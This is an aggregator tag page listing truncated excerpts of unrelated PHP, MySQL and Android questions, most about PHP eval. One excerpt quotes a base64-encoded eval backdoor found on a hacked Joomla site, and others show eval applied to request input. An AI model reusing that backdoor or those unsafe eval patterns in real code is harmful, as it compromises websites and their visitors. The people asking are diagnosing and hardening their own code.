草庐IT

DATA_EVAL

全部标签

php - Laravel - 带有 blade compileString 的 php eval

我正在尝试将Blade模板字符串解析为php格式,并使用eval()将字符串作为php代码求值$array=['foo'=>'bar','bar'=>'foo'];$content='@foreach($arrayas$value){{$value}}@endforeach';$blade=Blade::compileString($content);$php=eval($blade);这是我到目前为止的测试代码,它抛出异常ParseError:syntaxerror,unexpected'$blade在compileString()之后的值addLoop($__currentLoop

php - 试图了解 $user->data 在 phpbb3 中是如何工作的

我喜欢尝试看看开源软件的工作原理,这样我就可以尝试和学习新的方法来创建代码并增加我对某些编程语言的了解。我一直在挖掘phpbb3代码,试图了解它如何通过其各种类管理session和用户信息。我一直无法追踪到$user->data在任何类中的设置位置。有人可以帮助分解他们的session管理类如何与他们的用户类一起工作吗?大多数访问session和用户类的文件都以此代码开头://Startsessionmanagement$user->session_begin();$auth->acl($user->data);我已经能够追踪到session_begin函数在session类中的位置,

php - 如何在 php 中安全地使用 eval?

我知道只要有用户输入,有些人可能只会回答“从不”。但是假设我有这样的东西:$version=$_REQUEST['version'];$test='return$version>3;';$success=eval($test);这显然是一个简化的案例,但是用户可以输入什么作为version来让它做一些恶意的事情吗?如果我限制$test可以采用的字符串类型来将某些变量的值与其他变量进行比较,有没有任何人可以看到利用它的方法?编辑我已尝试在服务器上运行以下脚本,但没有任何反应:3;';$result=eval('return'.$teststr);var_dump($result);?>我

php - 网络应用 : Data management for non-programmers

我一直在办公室工作,我们有一些数据需要处理几次。我的意思是数百行,有时每行中有非常大的文本block。为我们的客户说出食谱,其中包含ID、名称、类别、食谱本身、时间……问题是我们需要经常处理和编辑这些数据,我不知道什么是最好的解决方案。到目前为止,我们一直在做的是将它留在SQLite数据库中并编写一个简单的PHPwebapp来列出数据并创建一个长的编辑表单,您可以在其中传递数据并将其保存回数据库中。演示文稿(想想AccessReports)很简单,只是转储数据,用一些HTML和一些Texy覆盖它!(Markdown替代品)等我的问题是,当我们要管理一些其他数据时,是否有一些PHP或Py

php - 警告 : mysql_data_seek(): Offset 1 is invalid for MySQL result index 5 (or the query data is unbuffered)

请任何人提供帮助。我正在尝试执行以下php代码:$sql="SELECT*FROMvendorsWHEREvuid=".$uid."ANDstatus="."'c'";$sql=$sql."LIMIT0,10";$result=mysql_query($sql);$numrows=mysql_num_rows($result);for($i=0;$i0){mysql_data_seek($result,$i);}我收到以下错误警告:mysql_data_seek():偏移量1对于MySQL结果索引5无效(或查询数据未缓冲)。$numrows为2,因此mysql_data_seek的范围

PHP EVAL - 解决不安全问题

我们有一个系统必须执行用户输入提供的计算。我发现进行其中一种计算的最简单方法是eval——尝试找出一个解析器用于:(3+6)/2+27*5/2只是看起来很难。如果有人对此有解决方案-我很乐意听到。假设您要使用EVAL(我知道它的可怕功能),允许他们在该框中键入他们想要的任何内容将是一个主要的不安全因素。所以,我提出这个问题,如果我做一个正则表达式,删除除数字、标准运算符(+-/*)和括号之外的所有内容,比如$equation=preg_replace('/[^0-9+-\/*()]/','',$input_equation);$result=eval($equation);系统是否可能

php - 这样使用 eval 安全吗?

假设我有一个名为query.sql的文件,其中包含以下内容:SELECT*FROM`users`WHERE`id`!=".$q->Num($_POST['id'])."在我的php脚本中,它有一个带有名为“id”的输入的html表单,我做了以下技巧:$sql=file_get_contents('query.sql');$query=eval("return\"$sql\";");//herefollowssomethinglike$mysqli->query($query);andsoon..我不关心SQL注入(inject),因为我使用的是准备好的语句并且$q->Num执行is_i

php - 网站后门 & eval()

关闭。这个问题是off-topic.它目前不接受答案。想改进这个问题吗?Updatethequestion所以它是on-topic用于堆栈溢出。关闭9年前。Improvethisquestion我运行的Joomla1.7网站今天被黑了。下面的脚本进行了破解。eval((base64_decode("DQoNCnByaW50IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovLzkzLjExNS44Ni4xNjgvaGxpbmtzL2xpbmtzLnBocD91YT0nIC4gQHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU

php - 安全地使用 php : modifying user input to avoid security issues 中的 eval 函数

我正在接管一些使用eval()的网页游戏代码php中的函数我知道这可能是一个严重的安全问题,所以我希望在决定是否取消该部分代码之前帮助审查检查其参数的代码。目前我已经从游戏中删除了这部分代码,直到我确定它是安全的,但功能损失并不理想。我宁愿对此进行安全验证,也不愿重新设计整个段以避免使用eval(),假设这样的事情是可能的。据称可以防止恶意代码注入(inject)的相关代码片段如下。$value是一个用户输入的字符串,我们知道它不包含“;”。1$value=eregi_replace("[\t\r]","",$value);2$value=addslashes($value);3$va

安卓手机/Android11系统无法访问android文件夹下的data目录,怎么解决?

最近买了个IQOO10,因为现在还在上学,所以没买mate50。本来鸿蒙系统里文件夹管理得好好的,上了安卓系统,就发现这个android文件夹下的data目录是没权限访问的!????于是我上网搜索再自己折腾一番,找到了以下一条解决方案。使用ES文件浏览器。点击“去授权”于是我们在谷歌的默认文件管理器中打开了data目录。点击“使用此文件夹”。点击“允许访问” 现在里面的东西都可看到了。-----------------------------------分割线------------------------------------------因为手机出了点问题,所以我去服务店换了一台新的,用的